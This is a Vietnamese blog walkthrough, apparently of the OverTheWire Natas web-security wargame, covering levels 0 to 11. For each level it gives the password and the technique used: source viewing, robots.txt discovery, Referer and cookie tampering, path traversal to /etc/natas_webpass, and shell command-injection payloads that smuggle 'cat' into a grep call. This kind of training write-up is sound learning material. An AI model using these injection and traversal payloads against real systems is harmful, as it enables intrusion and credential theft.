http://www.overthewire.org/wargames/natas/
User name tại mỗi lv là natasX( X là lv). Nhiệm vụ chúng ta là phải đi tìm password flag
1.Lv0->Lv1:
http://natas0.natas.labs.overthewire.org/
user: natas0, pass: natas0Bấm Ctrl+U(firefox) xem mã nguồn site
Password tiếp theo xuất hiện ngay tại dòng 16:
2.Lv1->Lv2:
http://natas1.natas.labs.overthewire.org/ user: natas0, pass: gtVrDuiDfck831PqWsLEZy5gyDz1cltoTiếp tục view source(Ctrl+U):
Password xuất hiện ở dòng 17:
(Sử dụng trên chrome khả năng sẽ bị chặn viewsource).
3.Lv2->Lv3:
http://natas2.natas.labs.overthewire.org/ user: natas2, pass: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBiDòng 15 khả nghi...
Dòng này gợi ý ta có thể xem list một vài file tại :![]()
http://natas2.natas.labs.overthewire.org/files/
Xuất hiện file users.txt, link:
http://natas2.natas.labs.overthewire.org/files/users.txt
Nội dung file:
# username:password alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 eve:zo4mJWyNj2 mallory:9urtcpzBmHThấy password của natas3
4.Lv3->Lv4:
http://natas3.natas.labs.overthewire.org/ user : natas3, password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14Dòng 15:
Gợi ý 'No more information leaks!! Not even Google will find it this time', một số site sử dụng file robots.txt để chặn google bot.
Tìm ngay file này :
http://natas3.natas.labs.overthewire.org/robots.txt
Nội dung file:
User-agent: * Disallow: /s3cr3t/Gợi ý tìm tới đuờng link:
http://natas3.natas.labs.overthewire.org/s3cr3t/
Thấy xuất hiện:
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
5.Lv4->Lv5:
http://natas4.natas.labs.overthewire.org user : natas4, password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZThông báo xuất hiện:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"Dòng này có nghĩa là sẽ truy cập đuợc natas4 nếu đến từ
http://natas5.natas.labs.overthewire.org/Refresh lại sử dụng live http headers chỉnh Referer thành :
http://natas5.natas.labs.overthewire.org
Ra trang cần tìm:
http://natas4.natas.labs.overthewire.org/index.php
Nội dung:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq6.Lv5->Lv6:
http://natas5.natas.labs.overthewire.org user : natas4, password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfqĐăng nhập với password cho lv5 tìm đuợc ở trên. Xuất hiện thông báo trên trang index. Sử dụng live http headers, thấy trong Cookie, biến loggedin=0 -> Set lại bằng 1 rồi replay
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa17.Lv6->Lv7:
http://natas6.natas.labs.overthewire.org/ user : natas6, password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1View source( click vào link 'View sourcecode' trên index):
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is ";
} else {
print "Wrong secret";
}
}
Chú ý đoạn "includes/secret.inc", check thử file này và view source:
http://natas6.natas.labs.overthewire.org/includes/secret.inc
-> Quay lại paste cái secret tìm đuợc vào form, ra password lv 7.Next lv
8.Lv7->Lv8:
http://natas7.natas.labs.overthewire.org user : natas7, password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9View source:
Home AboutLỗi LFI, khai thác:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
password:
9.Lv8->Lv9:
http://natas8.natas.labs.overthewire.org user : natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWeXem mã nguồn của trang
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is ";
} else {
print "Wrong secret";
}
}
Tìm secret để nhập vào theo thứ tự : base64_decode(strrev(hex to character($encodedSecret)))
-> secret = oubWYf2kBq.10.Lv9->Lv10:
http://natas9.natas.labs.overthewire.org user : natas9, password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDlSource
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
File dictionary.txt
http://natas9.natas.labs.overthewire.org/dictionary.txt
-> Command injection. Mục đích bypass dòng command
passthru("grep -i $key dictionary.txt");
Thử nhập vào input :
a
ra rất nhiều giá trị bên trong file dictionary
abc
không có kết quả trả về
Thử đọc file
../../../../etc/natas_webpass/natas10
xem có tồn tại không?. Nhập vào input giá trị:
"abc dictionary.txt;cat ../../../../etc/natas_webpass/natas10;grep -i abc "(không có " ở đầu vào cuối) -> password lv 10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 11.Lv10->Lv11:
http://natas10.natas.labs.overthewire.org/index-source.html user: natas10 password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzusource:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
Chặn các ký tự kết thúc và gộp command(;,|, &). Bypass bằng cách nhập vào input:
" "" ../../../../etc/natas_webpass/natas11 "(Lợi dụng option của câu lệnh grep) Câu lệnh này sẽ thực hiện in toàn bộ 2 file có thể thay bằng
" -A 1 "" ../../../../etc/natas_webpass/natas11 "password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
11.Lv12->Lv12:
http://natas11.natas.labs.overthewire.org user : natas11 password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
No comments:
Post a Comment